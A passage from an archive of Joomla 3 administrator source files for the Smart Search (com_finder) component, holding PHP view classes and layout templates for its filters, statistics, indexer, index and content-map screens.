	<?php echo JLayoutHelper::render('joomla.edit.title_alias', $this); ?>

	<div class="form-horizontal">
		<?php echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' => 'details')); ?>

		<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'details', JText::_('COM_FINDER_EDIT_FILTER')); ?>
		<div class="row-fluid">
			<div class="span9">
				<?php if ($this->total > 0) : ?>
					<div class="well">
						<?php echo $this->form->renderField('map_count'); ?>
					</div>
					<button class="btn jform-rightbtn" type="button" onclick="jQuery('.filter-node').each(function () { this.click(); });">
						<span class="icon-checkbox-partial" aria-hidden="true"></span> <?php echo JText::_('JGLOBAL_SELECTION_INVERT'); ?></button>

					<button class="btn pull-right" type="button" id="rightbtn" ><?php echo JText::_('COM_FINDER_FILTER_SHOW_ALL'); ?></button>
					<hr>
				<?php endif; ?>

				<?php echo JHtml::_('filter.slider', array('selected_nodes' => $this->filter->data)); ?>
			</div>
			<div class="span3">
				<?php echo JLayoutHelper::render('joomla.edit.global', $this); ?>
			</div>
		</div>
		<?php echo JHtml::_('bootstrap.endTab'); ?>

		<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'publishing', JText::_('JGLOBAL_FIELDSET_PUBLISHING')); ?>
		<div class="row-fluid form-horizontal-desktop">
			<?php echo JLayoutHelper::render('joomla.edit.publishingdata', $this); ?>
		</div>
		<?php echo JHtml::_('bootstrap.endTab'); ?>

		<?php echo JLayoutHelper::render('joomla.edit.params', $this); ?>

		<?php echo JHtml::_('bootstrap.endTabSet'); ?>
	</div>

	<input type="hidden" name="task" value="" />
	<input type="hidden" name="return" value="<?php echo JFactory::getApplication()->input->get('return', '', 'BASE64'); ?>" />
	<?php echo JHtml::_('form.token'); ?>
</form>
com_finder/views/filter/view.html.php000060400000006533152455305310013727 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Filter view class for Finder.
 *
 * @since  2.5
 */
class FinderViewFilter extends JViewLegacy
{
	/**
	 * The filter object
	 *
	 * @var  FinderTableFilter
	 *
	 * @since  3.6.2
	 */
	protected $filter;

	/**
	 * The JForm object
	 *
	 * @var  JForm
	 *
	 * @since  3.6.2
	 */
	protected $form;

	/**
	 * The active item
	 *
	 * @var  JObject|boolean
	 *
	 * @since  3.6.2
	 */
	protected $item;

	/**
	 * The model state
	 *
	 * @var  mixed
	 *
	 * @since  3.6.2
	 */
	protected $state;

	/**
	 * The total indexed items
	 *
	 * @var  integer
	 *
	 * @since  3.8.0
	 */
	protected $total;

	/**
	 * Method to display the view.
	 *
	 * @param   string  $tpl  A template file to load. [optional]
	 *
	 * @return  mixed  A string if successful, otherwise a JError object.
	 *
	 * @since   2.5
	 */
	public function display($tpl = null)
	{
		// Load the view data.
		$this->filter = $this->get('Filter');
		$this->item = $this->get('Item');
		$this->form = $this->get('Form');
		$this->state = $this->get('State');
		$this->total = $this->get('Total');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
		JHtml::addIncludePath(JPATH_SITE . '/components/com_finder/helpers/html');

		// Configure the toolbar.
		$this->addToolbar();

		return parent::display($tpl);
	}

	/**
	 * Method to configure the toolbar for this view.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	protected function addToolbar()
	{
		JFactory::getApplication()->input->set('hidemainmenu', true);

		$isNew = ($this->item->filter_id == 0);
		$checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == JFactory::getUser()->id);
		$canDo = JHelperContent::getActions('com_finder');

		// Configure the toolbar.
		JToolbarHelper::title(
			$isNew ? JText::_('COM_FINDER_FILTER_NEW_TOOLBAR_TITLE') : JText::_('COM_FINDER_FILTER_EDIT_TOOLBAR_TITLE'),
			'zoom-in finder'
		);

		// Set the actions for new and existing records.
		if ($isNew)
		{
			// For new records, check the create permission.
			if ($canDo->get('core.create'))
			{
				JToolbarHelper::apply('filter.apply');
				JToolbarHelper::save('filter.save');
				JToolbarHelper::save2new('filter.save2new');
			}

			JToolbarHelper::cancel('filter.cancel');
		}
		else
		{
			// Can't save the record if it's checked out.
			// Since it's an existing record, check the edit permission.
			if (!$checkedOut && $canDo->get('core.edit'))
			{
				JToolbarHelper::apply('filter.apply');
				JToolbarHelper::save('filter.save');

				// We can save this record, but check the create permission to see if we can return to make a new one.
				if ($canDo->get('core.create'))
				{
					JToolbarHelper::save2new('filter.save2new');
				}
			}

			// If an existing item, can save as a copy
			if ($canDo->get('core.create'))
			{
				JToolbarHelper::save2copy('filter.save2copy');
			}

			JToolbarHelper::cancel('filter.cancel', 'JTOOLBAR_CLOSE');
		}

		JToolbarHelper::divider();
		JToolbarHelper::help('JHELP_COMPONENTS_FINDER_MANAGE_SEARCH_FILTERS_EDIT');
	}
}
com_finder/views/statistics/tmpl/default.php000060400000004102152455305310015305 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<h3>
	<?php echo JText::_('COM_FINDER_STATISTICS_TITLE'); ?>
</h3>

<div class="row-fluid">
	<div class="span12">
		<p class="tab-description"><?php echo JText::sprintf('COM_FINDER_STATISTICS_STATS_DESCRIPTION', number_format($this->data->term_count, 0, JText::_('DECIMALS_SEPARATOR'), JText::_('THOUSANDS_SEPARATOR')), number_format($this->data->link_count, 0, JText::_('DECIMALS_SEPARATOR'), JText::_('THOUSANDS_SEPARATOR')), number_format($this->data->taxonomy_node_count, 0, JText::_('DECIMALS_SEPARATOR'), JText::_('THOUSANDS_SEPARATOR')), number_format($this->data->taxonomy_branch_count, 0, JText::_('DECIMALS_SEPARATOR'), JText::_('THOUSANDS_SEPARATOR'))); ?></p>
		<table class="table table-striped table-condensed">
			<thead>
				<tr>
					<th>
						<?php echo JText::_('COM_FINDER_STATISTICS_LINK_TYPE_HEADING'); ?>
					</th>
					<th>
						<?php echo JText::_('COM_FINDER_STATISTICS_LINK_TYPE_COUNT'); ?>
					</th>
				</tr>
			</thead>
			<tbody>
				<?php foreach ($this->data->type_list as $type) : ?>
				<tr>
					<td>
						<?php
						$lang_key    = 'PLG_FINDER_STATISTICS_' . str_replace(' ', '_', $type->type_title);
						$lang_string = JText::_($lang_key);
						echo $lang_string === $lang_key ? $type->type_title : $lang_string;
						?>
					</td>
					<td>
						<span class="badge badge-info"><?php echo number_format($type->link_count, 0, JText::_('DECIMALS_SEPARATOR'), JText::_('THOUSANDS_SEPARATOR')); ?></span>
					</td>
				</tr>
				<?php endforeach; ?>
				<tr>
					<td>
						<strong><?php echo JText::_('COM_FINDER_STATISTICS_LINK_TYPE_TOTAL'); ?></strong>
					</td>
					<td>
						<span class="badge badge-info"><?php echo number_format($this->data->link_count, 0, JText::_('DECIMALS_SEPARATOR'), JText::_('THOUSANDS_SEPARATOR')); ?></span>
					</td>
				</tr>
			</tbody>
		</table>
	</div>
</div>
com_finder/views/statistics/view.html.php000060400000001665152455305310014635 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Statistics view class for Finder.
 *
 * @since  2.5
 */
class FinderViewStatistics extends JViewLegacy
{
	/**
	 * The index statistics
	 *
	 * @var  JObject
	 *
	 * @since  3.6.1
	 */
	protected $data;

	/**
	 * Method to display the view.
	 *
	 * @param   string  $tpl  A template file to load. [optional]
	 *
	 * @return  mixed  A string if successful, otherwise a JError object.
	 *
	 * @since   2.5
	 */
	public function display($tpl = null)
	{
		// Load the view data.
		$this->data = $this->get('Data');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		return parent::display($tpl);
	}
}
com_finder/views/filters/view.html.php000060400000005750152455305310014112 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Filters view class for Finder.
 *
 * @since  2.5
 */
class FinderViewFilters extends JViewLegacy
{
	/**
	 * An array of items
	 *
	 * @var  array
	 *
	 * @since  3.6.1
	 */
	protected $items;

	/**
	 * The pagination object
	 *
	 * @var  JPagination
	 *
	 * @since  3.6.1
	 */
	protected $pagination;

	/**
	 * The HTML markup for the sidebar
	 *
	 * @var  string
	 *
	 * @since  3.6.1
	 */
	protected $sidebar;

	/**
	 * The model state
	 *
	 * @var  mixed
	 *
	 * @since  3.6.1
	 */
	protected $state;

	/**
	 * The total number of items
	 *
	 * @var  integer
	 *
	 * @since  3.6.1
	 */
	protected $total;

	/**
	 * Method to display the view.
	 *
	 * @param   string  $tpl  A template file to load. [optional]
	 *
	 * @return  mixed  A string if successful, otherwise a JError object.
	 *
	 * @since   2.5
	 */
	public function display($tpl = null)
	{
		// Load the view data.
		$this->items         = $this->get('Items');
		$this->pagination    = $this->get('Pagination');
		$this->total         = $this->get('Total');
		$this->state         = $this->get('State');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');

		FinderHelper::addSubmenu('filters');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

		// Configure the toolbar.
		$this->addToolbar();
		$this->sidebar = JHtmlSidebar::render();

		return parent::display($tpl);
	}

	/**
	 * Method to configure the toolbar for this view.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	protected function addToolbar()
	{
		$canDo = JHelperContent::getActions('com_finder');

		JToolbarHelper::title(JText::_('COM_FINDER_FILTERS_TOOLBAR_TITLE'), 'zoom-in finder');
		$toolbar = JToolbar::getInstance('toolbar');

		if ($canDo->get('core.create'))
		{
			JToolbarHelper::addNew('filter.add');
			JToolbarHelper::editList('filter.edit');
			JToolbarHelper::divider();
		}

		if ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::publishList('filters.publish');
			JToolbarHelper::unpublishList('filters.unpublish');
			JToolbarHelper::checkin('filters.checkin');
			JToolbarHelper::divider();
		}

		if ($canDo->get('core.admin') || $canDo->get('core.options'))
		{
			JToolbarHelper::preferences('com_finder');
		}

		JToolbarHelper::divider();
		$toolbar->appendButton('Popup', 'bars', 'COM_FINDER_STATISTICS', 'index.php?option=com_finder&view=statistics&tmpl=component', 550, 350);
		JToolbarHelper::divider();
		JToolbarHelper::help('JHELP_COMPONENTS_FINDER_MANAGE_SEARCH_FILTERS');

		if ($canDo->get('core.delete'))
		{
			JToolbarHelper::deleteList('', 'filters.delete');
			JToolbarHelper::divider();
		}
	}
}
com_finder/views/filters/tmpl/default.php000060400000011626152455305310014574 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('formbehavior.chosen', 'select');
JHtml::_('bootstrap.tooltip');

$user      = JFactory::getUser();
$userId    = $user->get('id');
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));

JText::script('COM_FINDER_INDEX_CONFIRM_DELETE_PROMPT');

JFactory::getDocument()->addScriptDeclaration('
	Joomla.submitbutton = function(pressbutton)
	{
		if (pressbutton == "filters.delete")
		{
			if (confirm(Joomla.JText._("COM_FINDER_INDEX_CONFIRM_DELETE_PROMPT")))
			{
				Joomla.submitform(pressbutton);
			}
			else
			{
				return false;
			}
		}
		Joomla.submitform(pressbutton);
	};
');
?>
<form action="<?php echo JRoute::_('index.php?option=com_finder&view=filters'); ?>" method="post" name="adminForm" id="adminForm">
	<?php if (!empty( $this->sidebar)) : ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
	<?php else : ?>
	<div id="j-main-container">
	<?php endif; ?>
		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>
		<div class="clearfix"> </div>
		<?php if (empty($this->items)) : ?>
		<div class="alert alert-no-items">
			<?php echo JText::_('COM_FINDER_NO_RESULTS_OR_FILTERS'); ?>
		</div>
		<?php else : ?>
		<table class="table table-striped">
			<thead>
				<tr>
					<th width="1%" class="nowrap center">
						<?php echo JHtml::_('grid.checkall'); ?>
					</th>
					<th width="1%" class="nowrap">
						<?php echo JHtml::_('searchtools.sort', 'JSTATUS', 'a.state', $listDirn, $listOrder); ?>
					</th>
					<th class="nowrap">
						<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder); ?>
					</th>
					<th width="10%" class="nowrap hidden-phone">
						<?php echo JHtml::_('searchtools.sort', 'COM_FINDER_HEADING_CREATED_BY', 'a.created_by_alias', $listDirn, $listOrder); ?>
					</th>
					<th width="10%" class="nowrap hidden-phone">
						<?php echo JHtml::_('searchtools.sort', 'COM_FINDER_HEADING_CREATED_ON', 'a.created', $listDirn, $listOrder); ?>
					</th>
					<th width="5%" class="nowrap hidden-phone">
						<?php echo JHtml::_('searchtools.sort', 'COM_FINDER_HEADING_MAP_COUNT', 'a.map_count', $listDirn, $listOrder); ?>
					</th>
					<th width="1%" class="nowrap hidden-phone">
						<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.filter_id', $listDirn, $listOrder); ?>
					</th>
				</tr>
			</thead>
			<tfoot>
				<tr>
					<td colspan="7">
						<?php echo $this->pagination->getListFooter(); ?>
					</td>
				</tr>
			</tfoot>
			<tbody>
				<?php
				$canCreate                  = $user->authorise('core.create', 'com_finder');
				$canEdit                    = $user->authorise('core.edit', 'com_finder');
				$userAuthoriseCoreManage    = $user->authorise('core.manage', 'com_checkin');
				$userAuthoriseCoreEditState = $user->authorise('core.edit.state', 'com_finder');
				$userId                     = $user->get('id');
				foreach ($this->items as $i => $item) :
					$canCheckIn   = $userAuthoriseCoreManage || $item->checked_out == $userId || $item->checked_out == 0;
					$canChange    = $userAuthoriseCoreEditState && $canCheckIn;
					$escapedTitle = $this->escape($item->title);
					?>
					<tr class="row<?php echo $i % 2; ?>">
						<td class="center">
							<?php echo JHtml::_('grid.id', $i, $item->filter_id); ?>
						</td>
						<td class="center nowrap">
							<?php echo JHtml::_('jgrid.published', $item->state, $i, 'filters.', $canChange); ?>
						</td>
						<td>
							<?php if ($item->checked_out) : ?>
								<?php echo JHtml::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'filters.', $canCheckIn); ?>
							<?php endif; ?>
							<?php if ($canEdit) : ?>
								<a href="<?php echo JRoute::_('index.php?option=com_finder&task=filter.edit&filter_id=' . (int) $item->filter_id); ?>">
									<?php echo $escapedTitle; ?></a>
							<?php else : ?>
								<?php echo $escapedTitle; ?>
							<?php endif; ?>
						</td>
						<td class="nowrap hidden-phone">
							<?php echo $item->created_by_alias ?: $item->user_name; ?>
						</td>
						<td class="nowrap hidden-phone">
							<?php echo JHtml::_('date', $item->created, JText::_('DATE_FORMAT_LC4')); ?>
						</td>
						<td class="nowrap hidden-phone">
							<?php echo $item->map_count; ?>
						</td>
						<td class="hidden-phone">
							<?php echo (int) $item->filter_id; ?>
						</td>
					</tr>
				<?php endforeach; ?>
			</tbody>
		</table>
		<?php endif; ?>
		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_finder/views/indexer/view.html.php000060400000000565152455305310014077 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Indexer view class for Finder.
 *
 * @since  2.5
 */
class FinderViewIndexer extends JViewLegacy
{

}
com_finder/views/indexer/tmpl/default.php000060400000002145152455305310014556 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('behavior.keepalive');
JHtml::_('behavior.core');
JHtml::_('jquery.framework');
JHtml::_('script', 'com_finder/indexer.js', array('version' => 'auto', 'relative' => true));
JFactory::getDocument()->addScriptDeclaration('var msg = "' . JText::_('COM_FINDER_INDEXER_MESSAGE_COMPLETE') . '";');
?>

<div id="finder-indexer-container">
	<br /><br />
	<h1 id="finder-progress-header"><?php echo JText::_('COM_FINDER_INDEXER_HEADER_INIT'); ?></h1>

	<p id="finder-progress-message"><?php echo JText::_('COM_FINDER_INDEXER_MESSAGE_INIT'); ?></p>

	<div id="progress" class="progress progress-striped active">
		<div id="progress-bar" class="bar bar-success" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100"></div>
	</div>

	<input id="finder-indexer-token" type="hidden" name="<?php echo JFactory::getSession()->getFormToken(); ?>" value="1" />
</div>
com_finder/views/index/view.html.php000060400000007522152455305310013550 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('FinderHelperLanguage', JPATH_ADMINISTRATOR . '/components/com_finder/helpers/language.php');

/**
 * Index view class for Finder.
 *
 * @since  2.5
 */
class FinderViewIndex extends JViewLegacy
{
	/**
	 * An array of items
	 *
	 * @var  array
	 *
	 * @since  3.6.1
	 */
	protected $items;

	/**
	 * The pagination object
	 *
	 * @var  JPagination
	 *
	 * @since  3.6.1
	 */
	protected $pagination;

	/**
	 * The state of core Smart Search plugins
	 *
	 * @var  array
	 *
	 * @since  3.6.1
	 */
	protected $pluginState;

	/**
	 * The HTML markup for the sidebar
	 *
	 * @var  string
	 *
	 * @since  3.6.1
	 */
	protected $sidebar;

	/**
	 * The model state
	 *
	 * @var  mixed
	 *
	 * @since  3.6.1
	 */
	protected $state;

	/**
	 * The total number of items
	 *
	 * @var  integer
	 *
	 * @since  3.6.1
	 */
	protected $total;

	/**
	 * Method to display the view.
	 *
	 * @param   string  $tpl  A template file to load. [optional]
	 *
	 * @return  mixed  A string if successful, otherwise a JError object.
	 *
	 * @since   2.5
	 */
	public function display($tpl = null)
	{
		// Load plugin language files.
		FinderHelperLanguage::loadPluginLanguage();

		$this->items         = $this->get('Items');
		$this->total         = $this->get('Total');
		$this->pagination    = $this->get('Pagination');
		$this->state         = $this->get('State');
		$this->pluginState   = $this->get('pluginState');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');

		FinderHelper::addSubmenu('index');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			JError::raiseError(500, implode("\n", $errors));

			return false;
		}

		if (!$this->pluginState['plg_content_finder']->enabled)
		{
			$link = JRoute::_('index.php?option=com_plugins&task=plugin.edit&extension_id=' . FinderHelper::getFinderPluginId());
			JFactory::getApplication()->enqueueMessage(JText::sprintf('COM_FINDER_INDEX_PLUGIN_CONTENT_NOT_ENABLED', $link), 'warning');
		}
		elseif ($this->get('TotalIndexed') === 0)
		{
			JFactory::getApplication()->enqueueMessage(JText::_('COM_FINDER_INDEX_NO_DATA') . '  ' . JText::_('COM_FINDER_INDEX_TIP'), 'notice');
		}

		JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

		// Configure the toolbar.
		$this->addToolbar();
		$this->sidebar = JHtmlSidebar::render();

		return parent::display($tpl);
	}

	/**
	 * Method to configure the toolbar for this view.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	protected function addToolbar()
	{
		$canDo = JHelperContent::getActions('com_finder');

		JToolbarHelper::title(JText::_('COM_FINDER_INDEX_TOOLBAR_TITLE'), 'zoom-in finder');

		$toolbar = JToolbar::getInstance('toolbar');
		$toolbar->appendButton(
			'Popup', 'archive', 'COM_FINDER_INDEX', 'index.php?option=com_finder&view=indexer&tmpl=component', 500, 210, 0, 0,
			'window.parent.location.reload()', 'COM_FINDER_HEADING_INDEXER'
		);

		if ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::publishList('index.publish');
			JToolbarHelper::unpublishList('index.unpublish');
		}

		if ($canDo->get('core.admin') || $canDo->get('core.options'))
		{
			JToolbarHelper::preferences('com_finder');
		}

		$toolbar->appendButton('Popup', 'bars', 'COM_FINDER_STATISTICS', 'index.php?option=com_finder&view=statistics&tmpl=component', 550, 350);

		if ($canDo->get('core.delete'))
		{
			JToolbarHelper::deleteList('', 'index.delete');
		}

		if ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::trash('index.purge', 'COM_FINDER_INDEX_TOOLBAR_PURGE', false);
		}

		JToolbarHelper::help('JHELP_COMPONENTS_FINDER_MANAGE_INDEXED_CONTENT');
	}
}
com_finder/views/index/tmpl/default.php000060400000011607152455305310014232 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('bootstrap.popover');

$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$lang      = JFactory::getLanguage();

JText::script('COM_FINDER_INDEX_CONFIRM_PURGE_PROMPT');
JText::script('COM_FINDER_INDEX_CONFIRM_DELETE_PROMPT');

JFactory::getDocument()->addScriptDeclaration('
	Joomla.submitbutton = function(pressbutton)
	{
		if (pressbutton == "index.purge")
		{
			if (confirm(Joomla.JText._("COM_FINDER_INDEX_CONFIRM_PURGE_PROMPT")))
			{
				Joomla.submitform(pressbutton);
			}
			else
			{
				return false;
			}
		}
		if (pressbutton == "index.delete")
		{
			if (confirm(Joomla.JText._("COM_FINDER_INDEX_CONFIRM_DELETE_PROMPT")))
			{
				Joomla.submitform(pressbutton);
			}
			else
			{
				return false;
			}
		}

		Joomla.submitform(pressbutton);
	};
');
?>
<form action="<?php echo JRoute::_('index.php?option=com_finder&view=index'); ?>" method="post" name="adminForm" id="adminForm">
<?php if (!empty( $this->sidebar)) : ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif; ?>
		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>
		<table class="table table-striped">
			<thead>
				<tr>
					<th width="1%" class="nowrap center">
						<?php echo JHtml::_('grid.checkall'); ?>
					</th>
					<th width="1%" class="nowrap center">
						<?php echo JHtml::_('searchtools.sort', 'JSTATUS', 'l.published', $listDirn, $listOrder); ?>
					</th>
					<th class="nowrap">
						<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_TITLE', 'l.title', $listDirn, $listOrder); ?>
					</th>
					<th width="5%" class="nowrap hidden-phone">
						<?php echo JHtml::_('searchtools.sort', 'COM_FINDER_INDEX_HEADING_INDEX_TYPE', 't.title', $listDirn, $listOrder); ?>
					</th>
					<th width="1%" class="nowrap hidden-phone">
						<?php echo JHtml::_('searchtools.sort', 'COM_FINDER_INDEX_HEADING_INDEX_DATE', 'l.indexdate', $listDirn, $listOrder); ?>
					</th>
					<th width="1%" class="nowrap center hidden-phone hidden-tablet">
						<?php echo JText::_('COM_FINDER_INDEX_HEADING_DETAILS'); ?>
					</th>
					<th width="35%" class="nowrap hidden-phone hidden-tablet">
						<?php echo JHtml::_('searchtools.sort', 'COM_FINDER_INDEX_HEADING_LINK_URL', 'l.url', $listDirn, $listOrder); ?>
					</th>
				</tr>
			</thead>
			<tfoot>
				<tr>
					<td colspan="7">
						<?php echo $this->pagination->getListFooter(); ?>
					</td>
				</tr>
			</tfoot>
			<tbody>
				<?php $canChange = JFactory::getUser()->authorise('core.manage', 'com_finder'); ?>
				<?php foreach ($this->items as $i => $item) : ?>
				<tr class="row<?php echo $i % 2; ?>">
					<td class="center">
						<?php echo JHtml::_('grid.id', $i, $item->link_id); ?>
					</td>
					<td class="center">
						<?php echo JHtml::_('jgrid.published', $item->published, $i, 'index.', $canChange, 'cb'); ?>
					</td>
					<td>
						<label for="cb<?php echo $i ?>">
							<?php echo $this->escape($item->title); ?>
						</label>
					</td>
					<td class="small nowrap hidden-phone">
						<?php
						$key = FinderHelperLanguage::branchSingular($item->t_title);
						echo $lang->hasKey($key) ? JText::_($key) : $item->t_title;
						?>
					</td>
					<td class="small nowrap hidden-phone">
						<?php echo JHtml::_('date', $item->indexdate, JText::_('DATE_FORMAT_LC4')); ?>
					</td>
					<td class="center hidden-phone hidden-tablet">
						<?php if ((int) $item->publish_start_date || (int) $item->publish_end_date || (int) $item->start_date || (int) $item->end_date) : ?>
							<span class="icon-calendar pop hasPopover" aria-hidden="true" data-placement="left" title="<?php echo JText::_('COM_FINDER_INDEX_DATE_INFO_TITLE'); ?>" data-content="<?php echo JText::sprintf('COM_FINDER_INDEX_DATE_INFO', $item->publish_start_date, $item->publish_end_date, $item->start_date, $item->end_date); ?>"></span>
							<span class="element-invisible"><?php echo JText::sprintf('COM_FINDER_INDEX_DATE_INFO', $item->publish_start_date, $item->publish_end_date, $item->start_date, $item->end_date); ?></span>
						<?php endif; ?>
					</td>
					<td class="small break-word hidden-phone hidden-tablet">
						<?php echo (strlen($item->url) > 80) ? substr($item->url, 0, 70) . '...' : $item->url; ?>
					</td>
				</tr>

				<?php endforeach; ?>
			</tbody>
		</table>
		<input type="hidden" name="task" value="display" />
		<input type="hidden" name="boxchecked" value="0" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_finder/views/maps/view.html.php000060400000005701152455305310013376 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('FinderHelperLanguage', JPATH_ADMINISTRATOR . '/components/com_finder/helpers/language.php');

/**
 * Groups view class for Finder.
 *
 * @since  2.5
 */
class FinderViewMaps extends JViewLegacy
{
	/**
	 * An array of items
	 *
	 * @var  array
	 *
	 * @since  3.6.1
	 */
	protected $items;

	/**
	 * The pagination object
	 *
	 * @var  JPagination
	 *
	 * @since  3.6.1
	 */
	protected $pagination;

	/**
	 * The HTML markup for the sidebar
	 *
	 * @var  string
	 *
	 * @since  3.6.1
	 */
	protected $sidebar;

	/**
	 * The model state
	 *
	 * @var  object
	 *
	 * @since  3.6.1
	 */
	protected $state;

	/**
	 * The total number of items
	 *
	 * @var  object
	 *
	 * @since  3.6.1
	 */
	protected $total;

	/**
	 * Method to display the view.
	 *
	 * @param   string  $tpl  A template file to load. [optional]
	 *
	 * @return  mixed  A string if successful, otherwise a JError object.
	 *
	 * @since   2.5
	 */
	public function display($tpl = null)
	{
		// Load plugin language files.
		FinderHelperLanguage::loadPluginLanguage();

		// Load the view data.
		$this->items         = $this->get('Items');
		$this->total         = $this->get('Total');
		$this->pagination    = $this->get('Pagination');
		$this->state         = $this->get('State');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');

		FinderHelper::addSubmenu('maps');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

		// Prepare the view.
		$this->addToolbar();
		$this->sidebar = JHtmlSidebar::render();

		return parent::display($tpl);
	}

	/**
	 * Method to configure the toolbar for this view.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	protected function addToolbar()
	{
		$canDo = JHelperContent::getActions('com_finder');

		JToolbarHelper::title(JText::_('COM_FINDER_MAPS_TOOLBAR_TITLE'), 'zoom-in finder');

		if ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::publishList('maps.publish');
			JToolbarHelper::unpublishList('maps.unpublish');
			JToolbarHelper::divider();
		}

		if ($canDo->get('core.admin') || $canDo->get('core.options'))
		{
			JToolbarHelper::preferences('com_finder');
		}

		JToolbarHelper::divider();
		JToolbar::getInstance('toolbar')->appendButton(
			'Popup',
			'bars',
			'COM_FINDER_STATISTICS',
			'index.php?option=com_finder&view=statistics&tmpl=component',
			550,
			350
		);
		JToolbarHelper::divider();
		JToolbarHelper::help('JHELP_COMPONENTS_FINDER_MANAGE_CONTENT_MAPS');

		if ($canDo->get('core.delete'))
		{
			JToolbarHelper::deleteList('', 'maps.delete');
			JToolbarHelper::divider();
		}
	}
}
com_finder/views/maps/tmpl/default.php000060400000013212152455305310014055 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('formbehavior.chosen', 'select');
JHtml::_('bootstrap.tooltip');

$listOrder     = $this->escape($this->state->get('list.ordering'));
